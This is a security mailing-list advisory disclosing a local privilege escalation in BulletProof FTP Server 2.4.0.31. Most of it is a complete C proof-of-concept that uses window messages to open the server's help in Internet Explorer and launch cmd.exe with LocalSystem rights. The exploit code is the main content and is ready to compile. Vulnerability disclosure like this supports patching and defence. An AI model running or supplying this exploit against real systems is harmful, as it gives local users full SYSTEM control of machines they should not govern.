[EXPL] Privilege Escalation in BulletProof FTP Server (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Privilege Escalation in BulletProof FTP Server (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.bpftpserver.com/> BulletProof FTP Server is the most simple 
and powerful FTP server to install and manage. Total control over 
connected users and where your files go. All features available from an 
easy to use graphical interface! The most BulletProof way to distribute 
files."

When the BPFTPServer service is installed and running as LocalSystem it is 
possible to manipulate the administrative interface in such a way that it 
will allow a local user to escalate his privileges to that of the 
LocalSystem account.

DETAILS

Vulnerable Systems:
 * BulletProof FTP Server version 2.4.0.31

Exploit:
//***************************************
//Privilege escalation in BulletProof FTP Server v2.4.0.31
//By Jerome Athias
//jerome DOT athias AT free DOT fr
//Discovered by Reed Arvin reedarvin[at]gmail[dot]com
//(http://reedarvin.thearvins.com)
//
//Little PoC
//Gives you a shell with system privileges
//***************************************

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
 HWND lHandle, lHandle2;
 char sText[]="%windir%\\system32\\cmd.exe";
 char buffer[256];

lHandle=FindWindow(NULL, "BulletProof FTP Server v2.4.0.31");
if (!lHandle)
{
        printf("\nUsage :\nBulletProof FTP Server v2.4.0.31 doesn't seem 
to run?\n");
        return 0;
}
else
{
        printf("handle for BulletProof : 0x%X\n",lHandle);
}
SetForegroundWindow(lHandle);

SendMessage(lHandle, WM_IME_KEYDOWN, VK_F1, 0); //send F1 key "help me 
please!"
Sleep(5000);   //I need this time to drink a beer ;P

//Find the browser Handle
//lHandle2=FindWindow(NULL, "BPFTP Server - Mozilla Firefox");
//if (!lHandle2)
//{
        lHandle2=FindWindow("IEFrame", "BPFTP Server - Microsoft Internet 
Explorer");
        lHandle2=FindWindowEx(NULL, NULL, "IEFrame", NULL);

        printf("handle for IE : 0x%X\n",lHandle2);
        if (!lHandle2)
        {
                printf("\nError while finding the browser's window.\n");
        }
//}
//else
//{
//        printf("handle for Firefox : 0x%X\n",lHandle2);
//}
SetForegroundWindow(lHandle2);

lHandle=FindWindowEx(lHandle2, 0, "WorkerW", 0);
if (lHandle>=0)
{
        lHandle = FindWindowEx(lHandle, 0, "ReBarWindow32", 0);
        if (lHandle>=0)
        {
                //Where are you Charlie...
              lHandle = FindWindowEx(lHandle, 0, "ComboBoxEx32", 0);
              lHandle = FindWindowEx(lHandle, 0, "ComboBox", 0);
              lHandle = FindWindowEx(lHandle, 0, "Edit", 0);
        }
}
else
{
        printf("\nerror :-(\n");
}

SendMessage(lHandle, WM_SETFOCUS, 0, 0);
Sleep(300);
SendMessage(lHandle, WM_SETTEXT, 0, (LPARAM) sText);
//Shatter!
PostMessage(lHandle, WM_KEYDOWN, VK_RETURN, 0);
//whoami? :-)

return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Jerome ATHIAS.
The advisory for this vulnerability can be found at:  
<http://www.securiteam.com/windowsntfocus/5MP040KFPI.html> 
http://www.securiteam.com/windowsntfocus/5MP040KFPI.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.